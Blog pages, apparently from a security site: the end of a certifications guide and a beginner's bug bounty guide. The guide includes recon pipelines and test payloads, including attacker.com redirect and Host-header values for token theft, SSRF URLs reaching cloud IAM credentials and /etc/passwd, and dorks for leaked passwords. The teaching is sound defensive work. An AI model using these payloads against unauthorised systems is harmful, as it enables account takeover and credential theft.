- **CompTIA SecAI+.** CompTIA's entry into direct AI-security skills, aimed at validating that a security practitioner can assess and defend AI/ML systems rather than just classic infrastructure. As a vendor-neutral credential from the same body behind Security+, it's likely to carry weight in HR filters as those filters start asking for AI-security language. Useful as a recognized line item, but, like Security+, it certifies literacy, not the ability to break and harden a model deployment.
- **Microsoft SC-500.** A cloud- and AI-security engineering certification in Microsoft's security track, oriented toward securing data, identities, and AI workloads in a Microsoft-centric environment. Strong signal if your target employer runs on Azure and Microsoft's security stack, which a large share of enterprises do. Like all vendor certs, its value tracks how closely your job matches the vendor's ecosystem.
- **Certified AI Security Professional (CAISP).** A practical, lab-based AI-security credential: the hands-on option of the three. Its focus is the part that actually pays: securing real LLM pipelines, testing for prompt injection and data leakage, and reasoning about model supply-chain and deployment risk in a lab rather than a multiple-choice exam. If you want to *prove* you can do AI-security work rather than just talk about it, this is the closest fit today.
The honest framing: AI-security is a fast-growing, well-paid specialization, but it rewards the same thing the rest of this guide does. Stack one of these credentials on top of demonstrable, hands-on work (a public write-up of an LLM red-team exercise, a hardened deployment you can walk through) and you'll be far ahead of someone who only collected the badge.
## FAQ
**What is the best cybersecurity certification for beginners in 2026?**
CompTIA Security+ (SY0-701) is the most widely recognized entry-level certification, roughly $425, vendor-neutral, and it clears HR filters including the US DoD baseline. For true outsiders, the Google Cybersecurity Certificate (~$49/month) is a gentler on-ramp first, not a replacement.
**Is the OSCP still worth it in 2026?**
Yes for offensive roles, with caveats. OSCP (from ~$1,749) is still the most brand-recognized hands-on pentest cert and still named in many job postings. But Hack The Box's CPTS delivers comparable practical rigor for a fraction of the cost. Get OSCP if an employer demands it; otherwise CPTS is the smarter buy.
**Should I get CISSP early in my career?**
No. CISSP ($749 exam, plus a $135/year maintenance fee) requires five years of relevant experience and is a management/governance exam, not a hands-on one. You can pass early as an Associate of ISC2, but it's the wrong first cert for technical roles.
**TryHackMe or Hack The Box, which should I pay for?**
TryHackMe (~$17/month) to learn from zero; Hack The Box Academy + CPTS (~$490/year with the exam voucher included, or ~$8/month for students; standalone CPTS exam ~$210) to prove practical skill. Many people use both, THM to learn, HTB to prove it.
**Are cybersecurity certifications worth the money?**
They're worth it when they unblock a hiring filter, clearance, or employer requirement: not because they teach you to hack. Spend on cheap hands-on platforms first; buy the expensive certs when a concrete door requires them.
**What does it really cost once retakes and fees are included?**
Budget above the sticker. Security+ ~$425/attempt ($700, $1,000 realistic). CISSP $749 + $135/year maintenance ($900, $2,500 all-in). OSCP from $1,749 with ~$249 retakes. SANS/GIAC ~$8,000+ per course (~$999 for the exam alone). Read the retake and renewal policy before buying.
**Do I need a degree, or are certifications enough?**
Certifications plus a demonstrable portfolio are enough to break into many roles without a degree. Degrees help with some filters and management tracks, but in practical work, what you can demonstrate beats a transcript. See [how to become an ethical hacker](/how-to-become-ethical-hacker).
**Which certification is the most overrated?**
Any cert bought before you have fundamentals, chasing CISSP without the experience, or OSCP before you can solve easy boxes. The most overrated is whichever one you buy to skip the work rather than to certify work you've already done.
**Are cybersecurity certifications still worth it in the age of AI?**
Yes (for the right ones) but the landscape has shifted. AI didn't kill certifications; it raised the bar on what counts as proof, so employers now want a credential plus demonstrated hands-on work, and they pay a premium for AI-plus-security skill combos. The fastest-growing slice is AI-security itself, where emerging options include **CompTIA SecAI+** (vendor-neutral AI-security skills), **Microsoft SC-500** (cloud and AI-security engineering), and the lab-based **Certified AI Security Professional (CAISP)** for hands-on LLM-pipeline security. Pick the one that matches your target role, and back it with work you can actually demonstrate.
## Related guides
- [How AI Is Changing Cybersecurity](/ai-in-cybersecurity)
- [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks)
- [OWASP Top 10 Explained with Examples](/owasp-top-10-explained)
- [OSINT Reconnaissance: Tools and Techniques](/osint-reconnaissance-guide)
- [SQL Injection Explained](/sql-injection-explained)
### Sources
- CompTIA Security+ (SY0-701) Certification (CompTIA): https://www.comptia.org/certifications/security
- ISC2 Exam Pricing (CISSP $749) (ISC2): https://www.isc2.org/register-for-exam/isc2-exam-pricing
- OffSec PEN-200 / OSCP Course & Pricing (OffSec): https://www.offsec.com/courses/pen-200/
- OffSec Individual Pricing (OffSec): https://www.offsec.com/pricing/individual/
- INE eJPT Certification (INE Security): https://ine.com/security/certifications/ejpt-certification
- Google Cybersecurity Professional Certificate (Coursera / Google): https://www.coursera.org/professional-certificates/google-cybersecurity
- TryHackMe Pricing (TryHackMe): https://tryhackme.com/pricing
- HTB Certified Penetration Testing Specialist (CPTS) (Hack The Box): https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist
- GIAC Certification Pricing and Fees (GIAC / SANS): https://www.giac.org/pricing
- ISC2 CISSP Certification Overview (ISC2): https://www.isc2.org/certifications/cissp
---
## Bug Bounty Hunting: Getting Started
> A practical guide to bug bounty hunting, platforms, recon methodology, essential tools, writing reports that get paid, and what to realistically expect.
- URL: https://blog.pwnsy.com/bug-bounty-getting-started
- Date: 2026-03-11
- Updated: 2026-04-08
- Difficulty: intermediate
- Category: bug-bounty
- Tags: bug-bounty, pentesting, reconnaissance, ethical-hacking, web-security
- Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [Input Validation Best Practices: Allowlists, Canonicalization & Encoding](https://blog.pwnsy.com/input-validation-guide), [API Rate Limiting Explained: Algorithms, Keys, and 429s](https://blog.pwnsy.com/rate-limiting-explained)
### TL;DR
- Program selection is the highest-leverage decision: target wildcard-scope programs that pay for medium and low severities, not the most popular targets where every easy bug was found years ago.
- Effective bug bounty hunting is 70% recon: automate subdomain enumeration, live host probing, and nuclei scans so you can focus on the manual analysis that finds money.
- IDOR is the recommended starting vulnerability class for beginners because it requires no special tools, has a learnable methodology, and produces consistent payouts.
- A valid vulnerability with a bad report gets triaged as low or duplicate. The report is the product: include clear reproduction steps, demonstrated impact, and a justified CVSS score.
### Key Takeaways
- HackerOne's signal score tracks your valid-to-invalid report ratio and directly controls your access to private programs, so never submit unless you have high confidence in validity.
- Private programs have less competition, broader scope, faster response times, and higher payouts than public programs, but require a track record of valid public submissions to access.
- JavaScript bundles are a goldmine for API endpoints, internal hostnames, authentication logic, hardcoded secrets, and access control checks that automated scanners miss.
- Out-of-scope testing can result in permanent platform bans and legal exposure under the CFAA, CMA, and equivalent statutes; safe harbor only applies when you stay within scope.
- Top earners specialize narrowly in one to two vulnerability classes, build proprietary automation, and focus on industry verticals where they understand business logic deeply.
### FAQ
**Q: How do I get started with bug bounty hunting?**
Start by creating a HackerOne account and spending the first two weeks reading disclosed reports on programs you want to target. Then set up your tools environment, Kali Linux, Burp Suite, Subfinder, httpx, nuclei, ffuf, and katana. In weeks five and six, choose a public program with wildcard scope and run your recon pipeline before attempting any submissions.
**Q: How much money can you realistically make from bug bounties?**
The median payout per valid finding is $400-$800 for medium severity bugs. Most researchers report 3-6 months before making meaningful income, and those consistently earning $100,000+/year have typically been doing it for 3+ years. Expect to spend 20-40 hours before your first valid finding.
**Q: What is IDOR and why is it good for beginners?**
IDOR (Insecure Direct Object Reference) is a vulnerability where an API endpoint returns or modifies a resource without verifying the authenticated user owns it. It's recommended for beginners because it requires no special tools, the methodology is learnable with two test accounts, and payouts are consistent across many programs.
**Q: What makes a bug bounty report get paid?**
A strong report includes a one-line descriptive title, a summary of the vulnerability, a justified CVSS severity score, numbered steps to reproduce that a triager can follow in under five minutes, a demonstrated impact statement with specific data exposed, and a proof-of-concept command or screenshot. Missing steps and overstated severity are the two most common reasons reports are rejected.
**Q: Which bug bounty platforms should I use?**
Start with HackerOne, which has the largest program count and the most useful learning resource in its Hacktivity feed of disclosed reports. Intigriti is worth running in parallel for European programs with lower competition. Synack offers more predictable income but requires passing a technical vetting process to join.
Bug bounty programs exist because finding security vulnerabilities is expensive and difficult at scale. Companies that run mature programs have concluded that paying external researchers to find bugs is cheaper than getting breached. Google's Vulnerability Reward Program has paid out over $50 million since 2010. HackerOne's top earners have made over $2 million each. The 20-year-old who found a critical iOS zero-click vulnerability from his bedroom and received a $300,000 Apple Security Bounty payout is not a myth.
Getting there, however, is not what YouTube thumbnails suggest. This is a methodical, technical discipline that requires real skill, patience, and a systematic approach. This guide covers what actually produces results: not the theory, but the workflow, tools, and decision-making process that separates researchers who make money from those who generate a lot of invalid reports.
Building your recon and testing toolkit? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com).
## The Platforms: Where Programs Live
### HackerOne
The largest bug bounty platform by program count and total payout volume. As of 2025, HackerOne has paid out over $300 million to researchers. The platform has two program types:
**Public programs** are open to anyone with a verified HackerOne account. They're more competitive (every researcher with an account has access) but they're also where you learn. The Hacktivity feed shows recently disclosed reports with payout amounts, and disclosed reports from programs you're targeting are the most valuable free learning resource in the industry.
**Private programs** are invite-only, extended based on your reputation score and signal (valid report rate). Private programs typically have less competition, broader scope, faster response times, and higher payouts. Getting invited requires building a track record on public programs first.
**Signal score** matters. HackerOne tracks the percentage of your reports that are valid vs. invalid/spam/duplicate. A low signal score limits your invitations to private programs. Don't report unless you have high confidence it's valid.
### Bugcrowd
Similar model to HackerOne with a heavier enterprise focus. Bugcrowd's triage team handles first-pass validation before reports reach the program, which means slower initial feedback but more consistent responses. Their "VRT" (Vulnerability Rating Taxonomy) provides a standardized severity framework that's useful for calibrating your own severity assessments.
Bugcrowd also runs a platform called Pen Testing as a Service (PTAAS), which is closer to structured consulting engagements than open bounty hunting.
### Intigriti
Europe-based with a strong mid-market program selection. Scope overlap with HackerOne is relatively low, so running both platforms in parallel is worthwhile. GDPR-compliant programs often appear here first before expanding to US-based platforms. Response times tend to be fast.
### Synack
A curated, vetted network. You apply and go through a vetting process (including a technical skills assessment). Synack pays researchers for time in addition to bounties, which provides more predictable income. The downside: it's not open enrollment. Getting in takes demonstrable skill.
### Specialized Platforms
**Federacy** and **NCSC coordinated vulnerability disclosure** (Netherlands) cover government and public sector targets. These programs often have the cleanest, least-competed-on scope, and in the Netherlands, an effective legal framework that protects researchers who follow the rules.
**HackerOne's "Programs Without Bounties"**, responsible disclosure programs that don't pay. Still worth testing: they build your profile, often lead to Hall of Fame acknowledgments, and the skills transfer to paid programs.
Start on HackerOne. Create an account, spend the first two weeks reading disclosed reports on programs you're interested in. The HackerOne Hacktivity feed and individual program disclosure archives are the most concentrated source of "what vulnerabilities actually look like in production" you'll find anywhere.
---
## Target Selection: Where Most Beginners Waste Time
Program selection is the highest-leverage decision you make. Choosing the wrong target costs weeks.
### What to Avoid
**Programs with very broad scope and zero payout history.** Check the "average bounty" and "reports resolved" stats on the program page. If a program has been live for two years and paid out $0, there's a reason: either the scope is too restrictive in practice, the program doesn't prioritize response, or all the bugs have been found.
**Programs with 90+ day response SLAs.** HackerOne displays median time to first response, median time to triage, and median time to bounty. Programs with long response times create dead capital, your vulnerability sits unresolved while you can't disclose it or test similar vectors.
**Programs where everything is marked "out of scope" except one endpoint.** This isn't a bug bounty program; it's a performance. Move on.
**The top 10 most popular programs.** Google, Facebook, Apple: every researcher on the planet targets them. Every easy vulnerability was found years ago. Finding something valid requires exceptional skill and significant time investment. Not the right starting point.
### What to Target
**Programs with wildcard scope** (`*.example.com`, `*.example-company.io`). Wildcards mean more attack surface and more opportunity for something the security team hasn't had time to audit.
**Recently launched programs or programs that have significantly expanded scope.** New programs are a gold rush: the first wave of researchers hits them with recon tools and finds things fast. Follow program announcements on HackerOne's blog and Twitter/X.
**Programs that pay for medium and low severities.** A program that only pays for critical RCEs is not beginner-friendly. Programs with payout tables covering P3 and P4 findings signal that they want to improve overall security posture, not just avoid catastrophic breaches.
**Programs in your area of technical expertise.** If you've worked in fintech, target fintech companies. You understand the business logic, the likely attack surfaces, and what "impact" means to the business. Business logic vulnerabilities require domain knowledge that automated tools can't replace.
Check the program's Hacktivity/disclosed reports before spending any time on recon. Understand what vulnerability classes the program accepts, what severity ratings they've assigned to past findings, and what types of findings they've marked as informational or not applicable. This intelligence saves hours of reporting invalid bugs.
---
## Recon Methodology: Building Attack Surface
Effective bug bounty hunting is 70% recon and 30% exploitation. The researchers making consistent income aren't spending all their time looking for vulnerabilities: they're spending most of their time finding attack surface that others haven't found yet.
### Subdomain Enumeration
```bash
# Passive enumeration — no traffic to target
subfinder -d example.com -all -o passive_subs.txt
# Amass passive mode — pulls from additional sources
amass enum --passive -d example.com -o amass_passive.txt
# Certificate Transparency — every cert ever issued for the domain is logged
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > ct_subs.txt
# Combine all passive sources
cat passive_subs.txt amass_passive.txt ct_subs.txt | sort -u > all_passive.txt
# Active DNS brute-force (only after confirming scope allows it)
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
example.com -r /path/to/resolvers.txt -o brute_subs.txt
# Permutation and pattern generation
gotator -sub all_passive.txt -perm permutations_list.txt -depth 1 -numbers 5 | \
puredns resolve -r /path/to/resolvers.txt > permuted_subs.txt
# Merge everything
cat all_passive.txt brute_subs.txt permuted_subs.txt | sort -u > all_subs.txt
```
### Probing for Live Hosts
```bash
# Probe for HTTP/HTTPS on standard and non-standard ports
httpx -l all_subs.txt \
-ports 80,443,8080,8443,8888,9000,3000,5000,4000,7000,9090 \
-status-code \
-title \
-tech-detect \
-follow-redirects \
-o live_hosts.txt
# Extract just the URLs
cat live_hosts.txt | cut -d ' ' -f1 > live_urls.txt
```
### Content Discovery
```bash
# Directory and file discovery on live hosts
feroxbuster -u https://app.example.com \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
-x php,asp,aspx,jsp,json,txt,bak,old,config,env \
-t 50 \
--depth 3 \
-o ferox_output.txt
# ffuf with a status filter
ffuf -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \
-u https://api.example.com/FUZZ \
-mc 200,201,204,301,302,401,403 \
-fc 404 \
-t 40
# Google dorking to find exposed files
# site:example.com filetype:env
# site:example.com filetype:config
# site:example.com inurl:admin
# site:example.com "DB_PASSWORD"
# site:github.com "example.com" AND "password"
```
### JavaScript File Analysis
JavaScript bundles are a goldmine: API endpoints, internal hostnames, authentication logic, feature flags, hardcoded secrets, and access control checks all live in frontend JavaScript.
```bash
# Crawl target and collect all JS files
katana -u https://app.example.com -jc -d 5 -o katana_output.txt
grep "\.js" katana_output.txt > js_files.txt
# Download and extract endpoints from JS files
cat js_files.txt | while read url; do
curl -s "$url" | grep -oP '(?<=["\x27])/[a-zA-Z0-9_\-/]+(?=["\x27])' | sort -u
done | sort -u > js_endpoints.txt
# LinkFinder — more sophisticated endpoint extraction
python3 linkfinder.py -i https://app.example.com -d -o cli > linkfinder_results.txt
# SecretFinder — find credentials in JS
python3 SecretFinder.py -i https://app.example.com/main.js -o cli
# Looks for: API keys, tokens, passwords, AWS keys, Stripe keys, etc.
```
### Automated Vulnerability Scanning
```bash
# Nuclei — template-based scanner covering thousands of vulnerability classes
nuclei -l live_urls.txt \
-t ~/nuclei-templates/ \
-severity medium,high,critical \
-exclude-tags dos,fuzz \
-rate-limit 50 \
-o nuclei_findings.txt
# Target specific template categories
nuclei -l live_urls.txt -t ~/nuclei-templates/exposed-panels/ -o panels.txt
nuclei -l live_urls.txt -t ~/nuclei-templates/default-credentials/ -o default_creds.txt
nuclei -l live_urls.txt -t ~/nuclei-templates/cves/ -o cve_findings.txt
nuclei -l live_urls.txt -t ~/nuclei-templates/misconfiguration/ -o misconfigs.txt
nuclei -l live_urls.txt -t ~/nuclei-templates/technologies/ -o tech_detect.txt
# Specifically look for SSRF in webhook/URL-fetching features
nuclei -l live_urls.txt -t ~/nuclei-templates/vulnerabilities/generic/ssrf-via-* -o ssrf.txt
```
Nuclei is a commodity tool at this point. Every researcher runs it. The findings it surfaces (exposed admin panels, default credentials, known CVEs) are taken within hours of a program launching. Use nuclei to build an inventory and identify interesting targets, then apply manual analysis to what it surfaces. The money is in the manual work.
---
## Vulnerability Hunting: High-Value Targets
### IDOR (Insecure Direct Object Reference)
IDOR is consistently one of the highest-payout bug classes in bug bounty programs because it's difficult to find with automation and requires understanding the application's data model.
The pattern: an API endpoint takes an ID parameter (numeric, UUID, or other identifier) and returns or modifies the referenced resource without verifying that the authenticated user owns it.
```bash
# Testing methodology for IDOR:
# 1. Create two accounts (Account A and Account B)
# 2. With Account A: create a resource (order, invoice, message, etc.)
# 3. Note the resource ID in the API response
# 4. With Account B: attempt to access that resource ID
# Using Burp Suite Repeater:
# Capture a request as Account A
# Change the Authorization/Cookie header to Account B's session
# Observe whether Account B receives Account A's data
# Automated IDOR testing with a Burp Intruder setup:
# - Use Account A to generate 10 resource IDs
# - Replace session cookie with Account B's session
# - Intruder: Sniper mode, payload positions on the ID parameter
# - Payload: list of Account A's resource IDs
# - Grep match: Account A's unique identifiers in response
```
**IDOR variants to test:**
- GET resource (read), lowest impact, but frequently accepted
- PATCH/PUT resource (modify), higher impact
- DELETE resource, high impact
- GET list endpoint with another user's `userId` parameter
- Multi-layer IDOR: get `organizationId` from one endpoint, use it to access another user's org data
- UUID-based IDOR: UUIDs are hard to enumerate but can be predicted if created sequentially
### OAuth and Authentication Flow Abuse
OAuth implementations frequently contain vulnerabilities that bypass authentication entirely or lead to account takeover.
```bash
# redirect_uri manipulation
# Original: redirect_uri=https://app.example.com/callback
# Attack 1: redirect_uri=https://attacker.com
# Attack 2: redirect_uri=https://app.example.com.attacker.com
# Attack 3: redirect_uri=https://app.example.com/../attacker.com
# Attack 4: redirect_uri=https://app.example.com/callback?x=attacker.com (if open redirect exists)
# state parameter CSRF
# If state parameter is missing or predictable, the OAuth flow is vulnerable to CSRF
# Test: initiate OAuth flow, capture the authorization URL
# Visit the URL from a different browser session — does the code still work?
# Token leakage in Referer header
# If the callback page loads third-party resources, the authorization code in the URL
# may leak via the Referer header to those third-party servers
# authorization code reuse
# After a successful OAuth flow, try reusing the same authorization code
# Should fail with "code already used" — if not, it's a finding
```
### Host Header Injection
Many applications use the Host header to construct URLs for password reset emails, OAuth callbacks, and canonical links. A manipulable Host header can redirect password reset tokens to an attacker-controlled domain.
```bash
# Test for Host header injection in password reset
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/json
{"email": "victim@example.com"}
# If the password reset email contains a link to attacker.com, it's a critical finding
# The victim clicks a "legitimate-looking" reset link that sends their token to the attacker
# Additional Host header tests:
# X-Forwarded-Host: attacker.com
# X-Host: attacker.com
# X-Forwarded-Server: attacker.com
# Forwarded: host=attacker.com
```
### SSRF (Server-Side Request Forgery)
Cloud environments make SSRF critical. Any feature that fetches a user-supplied URL is a potential SSRF vector.
```bash
# Test webhook URL fields, URL preview features, PDF generation, image import
# Basic test payloads:
# http://169.254.169.254/latest/meta-data/ (AWS)
# http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IAM creds)
# http://metadata.google.internal/computeMetadata/v1/ (GCP)
# http://169.254.169.254/metadata/v1/ (DigitalOcean)
# http://localhost:6379/ (Redis)
# http://localhost:9200/ (Elasticsearch)
# http://10.0.0.1/ (internal network discovery)
# file:///etc/passwd (local file access — if scheme allows)
# Use Burp Collaborator or interactsh for blind SSRF detection
# If the server makes any DNS or HTTP request to your OAST server, SSRF is confirmed
interactsh-client &
# Use generated domain in payload: http://your-unique-id.oast.fun/
# Tools
# ssrf-sheriff — purpose-built SSRF testing tool
# ffuf with SSRF payloads list from PayloadsAllTheThings
```
### Account Takeover via Password Reset
```bash
# Password reset token entropy test
# Request 10 reset tokens for the same account
# Compare: are they random? Sequential? Time-based? Predictable?
# Host header injection (see above)
# Response manipulation: does the server validate the token server-side?
# 1. Request a password reset for victim@example.com
# 2. Intercept the reset request validation
# 3. Modify the response: change "valid": false to "valid": true
# If this works, the client trusts the server response without server-side enforcement
# Token in URL shared via Referer
# Complete a password reset
# Note if the reset URL contains the token
# Check if the reset page loads any third-party resources (analytics, fonts, images)
# Burp: look at the Referer header sent to those third-party servers
# If the Referer contains the reset token, it was leaked
# Weak token format — 6-digit numeric with no rate limiting (Instagram 2019 bug)
# If you can make 1,000,000 requests and there's no lockout, all tokens are enumerable
```
---
## Writing Reports That Get Paid
A valid vulnerability with a bad report gets marked informational, triaged as low, or duplicated out. The report is the product.
### Report Structure
````markdown
# IDOR on /api/v2/invoices/{id} allows read access to arbitrary user invoices
## Summary
An Insecure Direct Object Reference (IDOR) vulnerability on the invoice retrieval endpoint
allows any authenticated user to read invoices belonging to other users by manipulating
the `id` path parameter. No ownership verification is performed server-side.
## Severity
High (CVSS 3.1 score: 7.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
## Steps to Reproduce
1. Create Account A (attacker@test.com) and Account B (victim@test.com)
2. With Account B, create an invoice. Note the invoice ID returned in the response:
`{"id": 10042, "amount": 5000, "status": "pending"}`
3. Log into Account A and capture a valid session token.
4. Send the following request as Account A:
GET /api/v2/invoices/10042 HTTP/1.1
Host: app.example.com
Authorization: Bearer
5. The server returns Account B's invoice data:
{"id": 10042, "userId": "uuid-of-account-b", "amount": 5000, "status": "pending", "recipient": "Client Corp"}
## Impact
An authenticated attacker can read the contents of any invoice in the system by iterating
the numeric `id` parameter. This exposes invoice amounts, client names, contact information,
and payment status for every user. By iterating IDs 1 through N, an attacker can exfiltrate
the entire invoice database. Estimated records exposed: [check by requesting /api/v2/invoices/count].
## Proof of Concept
[Attach: screenshot of Burp request/response showing the cross-user data access]
[Attach: curl command showing reproduction]
curl -s -H "Authorization: Bearer ACCOUNT_A_TOKEN" \
https://app.example.com/api/v2/invoices/10042 | jq .userId
# Returns Account B's userId — confirms cross-account access
## Remediation
Add an ownership check to the invoice retrieval query:
```sql
SELECT * FROM invoices WHERE id = $1 AND user_id = $2
```
Pass the authenticated user's ID as the second parameter. Return HTTP 403 if no record is found.
## References
- OWASP A01:2021 – Broken Access Control
- CWE-639: Authorization Bypass Through User-Controlled Key
````
### Common Report Mistakes
**Missing reproduction steps.** The triager should be able to reproduce your finding in under five minutes without asking you anything. If your steps require assumptions or context they don't have, your report stalls.
**Overstated severity.** A missing security header rated as Critical, or a rate-limiting gap on a non-sensitive endpoint rated as High, triagers see this constantly. It signals inexperience and damages your credibility. Use CVSS and justify it. If a finding requires significant user interaction or specific conditions, the severity goes down.
**No demonstrated impact.** "This could lead to data exposure" is not impact. "An unauthenticated attacker can read all user invoices by iterating the numeric id parameter from 1 to N, exposing names, email addresses, billing addresses, and payment amounts for all X users" is impact.
**Reporting missing headers as High/Critical.** Missing `Content-Security-Policy`, `X-Frame-Options`, or `X-Content-Type-Options` without a demonstrated impact gets marked Informational. These findings have value only when combined with an actual exploitation scenario.
**Self-XSS.** If the payload only executes in your own session, it's not a valid XSS submission. The attack must affect a different user.
**Chasing version numbers.** "The server is running Apache 2.4.49, which is vulnerable to CVE-2021-41773" is only valid if you can demonstrate the actual exploit works in this environment. Version disclosure + CVE ≠ validated finding.
---
## Building a Recon Pipeline
Manual recon is slow. Researchers making consistent income have automated the commodity work so they can focus on the manual analysis that differentiates findings.
```bash
#!/bin/bash
# Simple recon automation script — runs on a new target domain
TARGET=$1
OUTPUT_DIR="recon-$TARGET-$(date +%Y%m%d)"
mkdir -p "$OUTPUT_DIR"
echo "[+] Starting passive subdomain enumeration for $TARGET"
subfinder -d "$TARGET" -all -silent -o "$OUTPUT_DIR/subs_passive.txt"
amass enum --passive -d "$TARGET" -o "$OUTPUT_DIR/subs_amass.txt"
curl -s "https://crt.sh/?q=%.${TARGET}&output=json" | \
jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > "$OUTPUT_DIR/subs_ct.txt"
echo "[+] Merging and resolving subdomains"
cat "$OUTPUT_DIR"/subs_*.txt | sort -u | \
puredns resolve -r ~/resolvers.txt > "$OUTPUT_DIR/resolved_subs.txt"
echo "[+] Probing for live hosts"
httpx -l "$OUTPUT_DIR/resolved_subs.txt" \
-ports 80,443,8080,8443,3000,5000 \
-status-code -title -tech-detect \
-o "$OUTPUT_DIR/live_hosts.txt"
cat "$OUTPUT_DIR/live_hosts.txt" | cut -d ' ' -f1 > "$OUTPUT_DIR/live_urls.txt"
echo "[+] Running nuclei scans"
nuclei -l "$OUTPUT_DIR/live_urls.txt" \
-t ~/nuclei-templates/ \
-severity medium,high,critical \
-exclude-tags dos \
-o "$OUTPUT_DIR/nuclei_results.txt"
echo "[+] Crawling for endpoints and JS files"
katana -list "$OUTPUT_DIR/live_urls.txt" -d 3 -jc -o "$OUTPUT_DIR/katana_output.txt"
echo "[+] Done. Results in $OUTPUT_DIR/"
```
Schedule this script to run weekly against your target list. Attack surface changes constantly, new subdomains appear, new features launch, new misconfigurations are introduced. Researchers who recheck targets they've previously tested often find new bugs introduced by updates and deployments.
---
## Realistic Financial Expectations
The bug bounty economics are worth being honest about:
**Median payout per valid finding:** $400-$800 (P3 Medium severity)
**High severity (P2) typical range:** $2,000-$10,000
**Critical severity (P1) typical range:** $5,000-$100,000+
**All-time record payouts (public data):**
- Apple Security Research Device Program: $300,000 (iOS zero-click)
- Google VRP: $605,000 (combined chain across multiple bugs, 2022)
- Samsung Mobile Security: $1,000,000 (theoretical maximum; first claimed in 2023)
**Time reality:** Expect to spend 20-40 hours before your first valid finding. Most researchers report 3-6 months before making meaningful income. The researchers consistently earning $100,000+/year have typically been doing this for 3+ years.
**What top earners have in common:**
- Narrow specialization in 1-2 vulnerability classes where they have deep expertise
- Proprietary automation built on top of commodity tools
- Focus on specific industry verticals where they understand business logic
- Reputation high enough to access premium private programs
- Systematic documentation of every target tested and methodology applied
The $200/hour fantasy from YouTube is real for a small number of experienced researchers. The realistic starting expectation is closer to minimum wage per hour, until your skill and reputation compound.
---
## Legal and Ethical Boundaries
```
The rules are simple and absolute:
1. Read the program scope before sending a single request to any target
2. Test only assets explicitly listed in scope
3. Do not access, modify, or exfiltrate real user data — stop at proof of concept
4. Report what you find, don't exploit it further
5. If scope is ambiguous, ask before testing
```
Out-of-scope testing gets you permanently banned from the platform and can expose you to legal liability under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent statutes in other jurisdictions. Safe harbor language in bug bounty policies only protects you when you stay within scope and follow responsible disclosure rules.
A common gray area: you find an asset that looks like it belongs to the target company but isn't explicitly listed in scope. Don't test it. Message the program, ask if it's in scope, and wait for a response. This approach has led to scope expansions and bonus payments for researchers who've found critical bugs on previously out-of-scope assets: the right way.
---
## Getting Started: Week-by-Week
**Week 1-2:** Complete PortSwigger Web Security Academy's learning paths for SQL Injection, XSS, CSRF, and Authentication. Do every lab. Understand the mechanics, not just the payloads. If you want a structured credential to anchor this learning, our roundup of [security certs worth getting](/best-cybersecurity-certifications) covers the web-focused options like BSCP.
**Week 3-4:** Set up your tools environment, Kali Linux VM, Burp Suite Community, Subfinder, httpx, nuclei, ffuf, katana. Run through the setup guide for each tool.
**Week 5-6:** Choose a public program on HackerOne with wildcard scope and medium severity payouts. Run your recon pipeline. Read every disclosed report for that program. Don't submit yet, just learn the target's architecture.
**Week 7-8:** Start testing manually. Focus on a single vulnerability class, IDOR is recommended for beginners because it requires no special tools, the methodology is learnable, and the payouts are consistent. Find 20 API endpoints and test every resource parameter for cross-user access.
**Week 9+:** Your first report. Make it a clear, technically accurate, well-documented submission. Then iterate. Track every submission, whether valid or not, and analyze what you're missing.
The researchers who make it are systematic, patient, and rigorous. They treat it like a craft rather than a lottery. If you approach it the same way, the results follow.
## How Bug Bounty Programs Evolved
Paying outsiders to find security flaws predates the modern platform economy. Netscape ran a "Bugs Bounty" for its Navigator browser in 1995, offering cash for vulnerabilities in beta releases. For most of the next decade the practice stayed rare, because companies had no structured way to receive reports, verify them, or pay strangers safely. A researcher who found a flaw often had two poor options. Stay silent, or email a security contact who might respond with a legal threat instead of gratitude.
Two shifts changed that. Google and Mozilla launched formal reward programs around 2010 with published scopes, severity tables, and predictable payouts. That signaled to the wider industry that structured disclosure was cheaper than the alternative of being breached. Then HackerOne and Bugcrowd, both founded in 2012, built the plumbing: a place to submit reports, a reputation system, a payment rail, and safe harbor language that gave researchers legal cover. Once the transaction cost of running a program dropped, thousands of companies could participate without building the machinery themselves.
The maturation created the current reality. Popular programs are heavily contested, automated recon is a commodity, and the easy findings on well known targets disappear within hours of a scope change. This is why program selection and specialization matter more now than raw tool knowledge. The tools are the same ones everyone has. Your edge comes from where you point them and what you understand that the scanner does not.
## Vulnerability Classes Compared
Different bug classes reward different amounts of effort. Some are found by scanners in seconds and are therefore duplicated constantly. Others resist automation and reward patient manual analysis. The table below maps common classes by how easily a scanner finds them, the typical severity band, and how much competition you should expect.
| Class | Scanner-findable | Typical severity | Competition | Beginner fit |
|---|---|---|---|---|
| IDOR / broken access control | Low | Medium to high | Moderate | Strong |
| Reflected XSS | Medium | Low to medium | High | Moderate |
| Stored XSS | Low | Medium to high | Moderate | Moderate |
| SSRF | Low | High to critical | Low | Advanced |
| SQL injection | Medium | High to critical | High on old targets | Moderate |
| Business logic flaws | Very low | Varies widely | Low | Advanced |
| Subdomain takeover | High | Medium | Very high | Strong |
| Exposed secrets in JS | Medium | Varies | Moderate | Strong |
| Open redirect | High | Low | Very high | Weak payout |
Read the pattern from this table. The classes with low scanner-findability and low competition (SSRF, business logic, IDOR) are where sustained income lives, because they require understanding the application instead of running a template. Subdomain takeover and open redirect are trivial to find, which means everyone finds them, which produces duplicates and low payouts. Beginners often start on the easy-to-find classes and grow frustrated by the duplicate rate. Moving one notch harder, into IDOR and access control, usually improves results faster than any new tool.
## What Happens After You Submit
